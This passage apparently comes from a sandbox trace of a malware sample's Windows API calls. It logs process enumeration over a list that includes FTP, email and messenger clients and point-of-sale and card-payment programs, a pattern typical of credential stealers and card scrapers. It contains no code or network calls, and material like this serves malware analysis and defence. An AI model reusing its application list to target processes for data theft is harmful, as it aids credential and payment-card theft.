lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.401] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.402] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.403] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.406] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.406] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.408] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.409] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.410] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.411] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.412] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0054.413] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.414] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.415] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.416] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.417] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.424] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.425] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0054.426] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.428] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.429] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.431] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0054.435] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0054.436] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0054.438] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0054.440] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0054.441] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0054.443] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0054.444] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0054.446] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0054.447] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0054.448] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0054.451] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0054.452] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0054.453] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0054.454] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0054.456] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0054.457] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0054.458] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0054.459] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0054.461] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0054.462] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0054.463] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0054.464] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0054.466] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="underlying tooth.exe")) returned 1 [0054.467] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="extending-stays.exe")) returned 1 [0054.468] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.469] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.470] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.471] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0054.472] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0054.473] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.474] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.475] CloseHandle (hObject=0x2c) returned 1 [0054.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c [0054.480] Process32FirstW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.481] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.482] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.483] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.484] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.485] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.486] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.486] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.487] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.488] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.488] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.489] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.489] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.490] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.490] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.491] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.492] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.492] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.493] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.494] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.494] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.495] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.495] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.496] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.497] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pike.exe")) returned 1 [0054.498] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="autos-buddy-posting.exe")) returned 1 [0054.499] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sport_ebooks.exe")) returned 1 [0054.500] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foam-clarity.exe")) returned 1 [0054.501] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen.exe")) returned 1 [0054.501] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="branches.exe")) returned 1 [0054.502] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 